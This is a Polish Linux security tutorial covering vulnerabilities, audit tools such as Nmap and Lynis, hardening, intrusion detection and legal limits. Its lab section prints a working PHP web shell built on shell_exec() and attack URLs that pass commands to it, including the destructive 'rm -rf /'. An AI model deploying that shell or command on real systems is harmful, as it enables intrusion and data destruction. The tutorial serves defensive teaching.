Samouczek hakowania Linuksa: Ubuntu Polecenia i narzędzia

⚡ Inteligentne podsumowanie

Hakowanie systemu Linux polega na znajdowaniu i wykorzystywaniu słabości w systemach Linux. Na tej stronie opisano luki, na które polują atakujący, narzędzia audytowe wykorzystywane w tym celu oraz mechanizmy kontroli, które zapewniają ochronę serwera.

  • 🐧 Dlaczego jest to ważne: Na systemie Linux działa większość serwerów internetowych i obciążeń w chmurze, co czyni go wartościowym celem.
  • 🔍 Kompromis w kwestii oprogramowania typu open source: Publiczny kod źródłowy pomaga osobom odpowiedzialnym za jego utrzymanie w systemie szybko wprowadzać poprawki i ułatwia atakującym wyszukiwanie luk.
  • 🧰 Narzędzia audytu: Nessus, Nmap, Lynis i OpenVAS ujawniają otwarte porty, brakujące poprawki i słabą konfigurację.
  • 💥 Wektory ataku: Najczęstszymi przyczynami zagrożeń są słabe dane uwierzytelniające SSH, niezałatane jądra, błędna konfiguracja i powłoki internetowe.
  • 🛡️ Hartowanie: Zarządzanie poprawkami, wzmocnienie protokołu SSH, ograniczenie uprawnień i obowiązkowa kontrola dostępu znacznie zmniejszają narażenie.
  • 🚨 Wykrycie: Rejestry audytów, sprawdzanie integralności plików i wykrywanie włamań pozwalają wykryć naruszenie bezpieczeństwa zanim szkody się rozprzestrzenią.

Samouczek hakowania Linuksa

Linux to najpopularniejszy system operacyjny dla serwerów, zwłaszcza serwerów WWW. Jest to system open source, co oznacza, że ​​każdy może zapoznać się z jego kodem źródłowym. Ta transparentność działa w obie strony: administratorzy używają go do szybkiego znajdowania i naprawiania błędów, podczas gdy atakujący analizują ten sam kod w poszukiwaniu luk, które mogą wykorzystać. Hackowanie Linuksa to praktyka wykorzystywania tych luk w celu uzyskania nieautoryzowanego dostępu do systemu.

Poniższe sekcje obejmują informacje o tym, czym jest Linux, luki w zabezpieczeniach, które go dotyczą, praktyczne spojrzenie na hakowanie za pomocą Ubuntui środki zaradcze, które możesz wdrożyć.

Szybka notatka na temat Linuksa

Linux to system operacyjny o otwartym kodzie źródłowym. Wiele dystrybucji jest na nim opartych, w tym Red Hat Enterprise Linux, Fedora, Debian i UbuntuPonieważ kod źródłowy jest opublikowany, badacze, dostawcy i atakujący mogą go przeglądać. Atakujący wykorzystują ten dostęp do wyszukiwania luk, które można wykorzystać, a ta sama przejrzystość pozwala administratorom na szybsze wdrażanie poprawek niż często robią to zamknięte platformy. Linux działa jako system operacyjny serwera, komputera stacjonarnego, tabletu lub urządzenia mobilnego.

Programy Linux można obsługiwać za pomocą interfejsu graficznego lub wiersza poleceń. Praca z wierszem poleceń jest szybsza i bardziej precyzyjna niż klikanie w interfejs graficzny, dlatego testerzy bezpieczeństwa pracujący nad dystrybucjami takimi jak Kali Linux Spędzają prawie cały czas w terminalu. Znajomość podstawowych poleceń jest zatem warunkiem praktycznym.

Odnieś się do tego Poradnik dotyczący Linuksa dla podstaw i dla Kali Linux Tutorial dla dystrybucji skoncentrowanej na bezpieczeństwie zbudowanej na nich.

Typowe luki w zabezpieczeniach systemu Linux i wektory ataków

Ataki na Linuksa rzadko opierają się na egzotycznych exploitach. Dane telemetryczne opublikowane w latach 2025 i 2026 pokazują, że większość ataków tracWracamy do niewielkiego zestawu powtarzających się słabości, a ich znajomość podpowie Ci, gdzie w pierwszej kolejności powinieneś skupić wysiłki obronne.

  • Słabe lub ponownie użyte dane uwierzytelniające SSH — próby siłowego ataku i włamania się do protokołu SSH podłączonego do Internetu stanowią przyczynę większości wrogiej aktywności zaobserwowanej na punktach końcowych systemu Linux.
  • Niezałatane luki w jądrze i pakietach — zespół zajmujący się jądrem Linuxa stał się w 2024 r. organizacją zajmującą się numeracją CVE, a liczba zgłoszonych numerów CVE w jądrze wzrosła z ok. 290 w 2023 r. do ponad 3,500 w roku następnym, w związku z czym zaległości w zakresie poprawek szybko się piętrzą.
  • Błędna konfiguracja — domyślne konta, niepotrzebne demony, pliki z prawem zapisu dla każdego oraz liberalne reguły sudo przyznają uprawnienia, których uzyskanie nie wymaga użycia exploita.
  • Podatne na ataki aplikacje internetowe — wady takie jak SQL injection Ataki typu cross-site scripting umożliwiają atakującemu dotarcie do serwera za pośrednictwem aplikacji, a nie systemu operacyjnego. Powłoki internetowe to najczęściej spotykany złośliwy artefakt znajdowany na zainfekowanych serwerach Linux.
  • Błędy eskalacji uprawnień — lokalne błędy, które zamieniają ograniczone konto w konto root. Niektóre z nich przetrwały niewykryte w jądrze przez ponad dekadę, zanim zostały ujawnione.
  • Ryzyko łańcucha dostaw i zależności — pakiety stron trzecich, biblioteki językowe i obrazy kontenerów pobierają kod, którego nikt z zespołu operacyjnego nie przejrzał.

Żadne z nich nie wymaga od atakującego pokonania samego Linuksa. Analizy włamań z 2025 roku wykazały, że około cztery na pięć włamań nie wiązało się ze złośliwym oprogramowaniem, a zamiast tego polegało na błędnej konfiguracji i skradzionych danych uwierzytelniających.

Narzędzia hakerskie dla Linuksa

Testerzy bezpieczeństwa i administratorzy systemów korzystają z tych samych skanerów: z jednej strony, aby wykryć luki w zabezpieczeniach, zanim zrobi to atakujący, a z drugiej, aby potwierdzić skuteczność poprawek. Poniższe narzędzia są najczęściej używane do audytu hosta Linux.

Narzędzie Typ Licencja Typowe zastosowanie w systemie Linux
Nessus Skaner narażenia na atak Komercyjne Skanuje ustawienia konfiguracji, brakujące poprawki i usługi sieciowe w środowiskach mieszanych.
Nmap Skaner sieciowy i portowy Otwarte źródło Identyfikuje hosty działające na serwerze, udostępniane przez nie usługi i otwarte porty.
Lynis Audyt i wzmacnianie hosta Otwarte źródło Przeprowadza audyt działającego systemu pod kątem zaostrzonych kryteriów i raportuje konkretne kroki naprawcze.
OpenVAS Skaner narażenia na atak Otwarte źródło Skanowanie pod kątem luk w zabezpieczeniach sieci, przeprowadzane przez Greenbone w ramach Community Edition.

Lista nie jest wyczerpująca, daje jedynie pojęcie o dostępnych narzędziach do audytu Ubuntu i innych systemach Linux. Starsze przewodniki nadal zalecają SARA, Security Auditor's Research Assistant, ale jego ostateczna wersja pochodzi z 2009 roku, a strona projektu jest niedostępna, więc Lynis i OpenVAS są utrzymanymi alternatywami.

Aktywność hakerska: Hakowanie a Ubuntu System Linux korzystający z PHP

W tym praktycznym scenariuszu przyjrzymy się, jak można dotrzeć do hosta Linux za pośrednictwem aplikacji webowej, wykorzystując PHP jako przykład. Nie jest to atak na żywą ofiarę. Jeśli chcesz to wypróbować, zainstaluj LAMPP, linuksową wersję XAMPP, na swoim komputerze.

PHP Zawiera dwie funkcje, których można używać do uruchamiania poleceń systemu operacyjnego: exec() i shell_exec(). Funkcja exec() zwraca ostatni wiersz wyniku polecenia, natomiast shell_exec() zwraca cały wynik polecenia jako ciąg znaków.

Dla celów demonstracyjnych załóżmy, że atakującemu uda się przesłać poniższy plik na serwer WWW.

<?php

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

echo "executing shell command:-> $cmd</br>";

$output = shell_exec($cmd);

echo "<pre>$output</pre>";

?>

TUTAJ,

Powyższy skrypt pobiera polecenie ze zmiennej GET o nazwie cmd. Polecenie jest wykonywane za pomocą shell_exec(), a wynik jest zwracany w przeglądarce.

Powyższy kod można wykorzystać, używając następującego kodu: URL

http://localhost/cp/konsole.php?cmd=ls%20-l

TUTAJ,

  • „…konsole.php?cmd=ls%20-l” przypisuje wartość ls –l zmiennej cmd.

Polecenie na Ubuntu serwer jest zatem wykonywany jako

shell_exec('ls -l') ;

Wykonanie powyższego kodu na serwerze WWW daje wynik podobny do poniższego.

Wyjście przeglądarki skryptu PHP wyświetlającego zawartość katalogów i uprawnienia plików Ubuntu serwer

Na wyjściu wyświetlane są jedynie pliki w bieżącym katalogu i ich uprawnienia.

Załóżmy teraz, że atakujący przekaże następujące polecenie.

rm -rf /

TUTAJ,

  • „rm” usuwa pliki.
  • „rf” powoduje, że polecenie rm jest uruchamiane w trybie rekurencyjnym, usuwając wszystkie foldery i pliki.
  • „/” powoduje, że polecenie rozpocznie usuwanie od katalogu głównego.

Atak URL wyglądałoby to mniej więcej tak

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

Jeden niezweryfikowany parametr wystarczy zatem, aby przekazać atakującemu wszystkie uprawnienia, jakie posiada konto serwera WWW. Dwie poniższe sekcje mają na celu zapobieganie takim sytuacjom i wykrywanie ich, gdy środki zapobiegawcze zawiodą.

Jak zapobiegać atakom hakerskim na Linuksa

Hackowanie Linuksa wykorzystuje luki w zabezpieczeniach systemu operacyjnego i oprogramowania na nim działającego. Organizacja może zastosować poniższe środki kontroli, stosowane łącznie, aby wyeliminować większość luk opisanych powyżej.

  • Zarządzanie poprawkami — poprawki naprawiają błędy, które atakujący wykorzystują do naruszenia bezpieczeństwa systemu. Zdefiniowana polityka zapewnia, że ​​odpowiednie aktualizacje są instalowane natychmiast, a nie wtedy, gdy ktoś sobie o nich przypomni.
  • Prawidłowa konfiguracja systemu operacyjnego — wyłącz nieaktywne konta użytkowników i niepotrzebne demony. Zmień ustawienia domyślne, w tym domyślne nazwy użytkowników, hasła do współdzielonych aplikacji i domyślne numery portów.
  • Utwardzanie SSH — wyłącz uwierzytelnianie użytkownika root i hasła, zezwalaj tylko na nazwanych użytkowników lub grupy i ogranicz liczbę ponownych prób uwierzytelnienia. To zamyka najbardziej narażony na ataki punkt wejścia w systemie Linux.
  • Najmniejszy przywilej — przyznawaj kontom i usługom tylko niezbędne uprawnienia i ograniczaj sudo do konkretnych poleceń zamiast udzielać ogólnego dostępu administracyjnego.
  • Obowiązkowa kontrola dostępu — zachowaj SELinux (rodzina Red Hat) lub AppArmor (Debian i Ubuntu) w trybie wymuszania, tak aby zagrożona usługa nie mogła dotrzeć do reszty systemu.
  • Walidacja danych wejściowych — powyższa demonstracja działa tylko dlatego, że dane żądania docierają do funkcji powłoki. Nigdy nie przekazuj danych wejściowych użytkownika do exec() ani shell_exec().
  • Zapory sieciowe i segmentacja — udostępniaj tylko te porty, których usługa naprawdę potrzebuje, korzystając z zapora i segmentacja sieci w celu ograniczenia dostępu zagrożonego hosta.
  • Systemy wykrywania włamań — narzędzia te mogą być używane do wykrywania nieautoryzowanego dostępu do systemu, a niektóre z nich mogą nawet blokować takie próby.
  • Przetestowane kopie zapasowe — kopie zapasowe offline, które można przywrócić, zamieniają destrukcyjne polecenie, takie jak powyższe, w awarię, a nie trwałą stratę.

Jak wykryć zainfekowany system Linux

Zapobieganie w końcu zawodzi, więc drugie pytanie brzmi, jak szybko można to zauważyć. Wykrywanie w Linuksie opiera się na zebraniu odpowiednich dowodów przed incydentem, a nie po nim.

  • Rejestrowanie audytów — framework audytu jądra, auditd, rejestruje użycie uprawnień, dostęp do plików i wywołania systemowe w formie, której zainfekowany proces nie może po cichu przepisać. Przekazuj te logi z hosta do centralnego kolektora.
  • Dzienniki uwierzytelniania — seria niepowodzeń, po których następuje pojedynczy sukces w /var/log/auth.log lub /var/log/secure, to klasyczny podpis siłowy.
  • Nieoczekiwane procesy i połączenia — usługa podsłuchowa lub połączenie wychodzące, z którym nikt nie potrafi się skontaktować, wymagają natychmiastowego zbadania.
  • Monitorowanie integralności plików — narzędzia, które haszują pliki binarne systemu i pliki konfiguracyjne, sygnalizując zmiany w plikach, które nigdy nie powinny zostać zmienione.
  • Zaplanowane zadania i elementy startowe — trwałość zwykle znajduje odzwierciedlenie w zadaniach cron, jednostkach systemd lub skryptach profilu powłoki.
  • Nowe lub zmodyfikowane konta — sprawdź, czy nie ma nieznanych użytkowników, drugiego konta z UID 0 i kluczy SSH, których nikt nie dodał.
  • Katalogi serwera WWW — ponieważ powłoki internetowe są najczęściej spotykanymi złośliwymi plikami na serwerach Linux, nieoczekiwane pliki skryptów w katalogu głównym witryny internetowej zasługują na szczególną uwagę.
  • Zaplanowane audyty — uruchom narzędzie do audytu hosta, np. Lynis, zgodnie z harmonogramem i traktuj każdy raport jako listę zadań, a nie jednorazowe ćwiczenie.

Jeśli znajdziesz dowody na naruszenie bezpieczeństwa, odizoluj hosta, zachowaj logi i obraz dysku przed wprowadzeniem jakichkolwiek zmian i odbuduj system ze znanego, sprawnego nośnika, zamiast próbować czyścić działający system. Aspekt obsługi dowodów w tym zakresie został omówiony w cyfrowy kryminalistyki.

Granice prawne i etyczne hakowania Linuksa

Każda technika opisana na tej stronie jest legalna w systemach, których jesteś właścicielem lub na których testowanie masz pisemne pozwolenie, a niemal wszędzie indziej jest nielegalna. Powyższe ćwiczenie celowo uruchamia się na instalacji lokalnej właśnie z tego powodu.

  • Pisemne upoważnienie — podpisany zakres, uzgodniony termin testu i wyznaczona osoba kontaktowa odróżniają test penetracyjny od ataku. Ustne zatwierdzenie nie wystarczy.
  • Pozostań w zasięgu — hosty, zakresy adresów i techniki, które nie są wymienione, nie są dozwolone, nawet jeśli są osiągalne.
  • Ostrożnie obchodź się z danymi — dowody zebrane podczas testu nadal zawierają prawdziwe dane osobowe i muszą być bezpiecznie przechowywane, a następnie zniszczone.
  • Zgłaszaj odpowiedzialnie — ujawnij ustalenia właścicielowi i daj czas na ich rozwiązanie przed opublikowaniem czegokolwiek.

Ryzyko prawne jest realne: nieautoryzowany dostęp do systemu komputerowego jest przestępstwem na mocy przepisów takich jak amerykańska ustawa o oszustwach i nadużyciach komputerowych oraz brytyjska ustawa o nadużyciach komputerowych. Jeśli chcesz budować karierę w oparciu o te umiejętności, wybierz uznaną ścieżkę — certyfikacja bezpieczeństwa oraz laboratorium, którego jesteś właścicielem, a nie serwera kogoś innego.

FAQ

Linux korzysta ze ścisłego podziału użytkowników i mniejszej powierzchni ataku na komputery stacjonarne, dzięki czemu jest narażony na znacznie mniej złośliwego oprogramowania. Narażenie serwerów to zupełnie inna historia — hosty Linux z dostępem do Internetu są stale atakowane, a jakość konfiguracji decyduje o wyniku.

Skanowanie sygnatur jest pomocne na serwerach plików i poczty obsługujących treści dla innych platform. W przypadku większości hostów Linux, poprawki, wzmacnianie zabezpieczeń i wykrywanie oparte na logach przynoszą większe korzyści, ponieważ większość włamań nie wiąże się z żadnym plikiem złośliwego oprogramowania.

Modele uczenia maszynowego bazują na normalnych procesach, logowaniu i zachowaniu sieci na hoście, a następnie sygnalizują odchylenia, których nie uwzględniają stałe reguły – na przykład utworzenie powłoki przez konto serwera WWW. Atakujący stosują te same techniki, aby przyspieszyć rekonesans, dzięki czemu obie strony są w ruchu.

Drugi pilot GitHub Potrafi sugerować sparametryzowane zapytania i bezpieczniejsze alternatywy dla wywołań powłoki, gdy zostanie o to poproszony bezpośrednio. Uczy się na kodzie publicznym, więc sugestie wciąż wymagają weryfikacji — traktuj go jako asystenta wstępnego szkicu, a nie skaner bezpieczeństwa.

Oba bazują na Debianie, ale Kali Linux zawiera setki preinstalowanych narzędzi bezpieczeństwa i analizy kryminalistycznej i jest przeznaczony do prac testowych. Ubuntu jest uniwersalną dystrybucją na komputery stacjonarne i serwery, stanowiącą lepszy wybór do codziennego użytku.

Aktualizuj zabezpieczenia co najmniej raz w miesiącu, a w przypadku zagrożeń uznanych za krytyczne lub znanych z wykorzystania, stosuj aktualizacje w ciągu kilku dni. Włącz automatyczne aktualizacje zabezpieczeń i zaplanuj ponowne uruchomienia, aby poprawki jądra faktycznie zadziałały.

Zacznij od uzyskania uprawnień administratora systemu Linux, takich jak LPIC lub RHCSA, dodaj CompTIA Security+, a następnie przejdź do praktycznych testów penetracyjnych lub zarządzania tracks. Guru99 prowadzi listę certyfikaty bezpieczeństwa cybernetycznego z obecnymi wymaganiami.

Użyj maszyny wirtualnej na własnym sprzęcie lub zatwierdzonej platformie szkoleniowej, takiej jak SpróbujHackMe, gdzie cele są przeznaczone właśnie do tego celu. Nigdy nie testuj systemu, którego nie jesteś właścicielem, bez pisemnej zgody.

Podsumuj ten post następująco: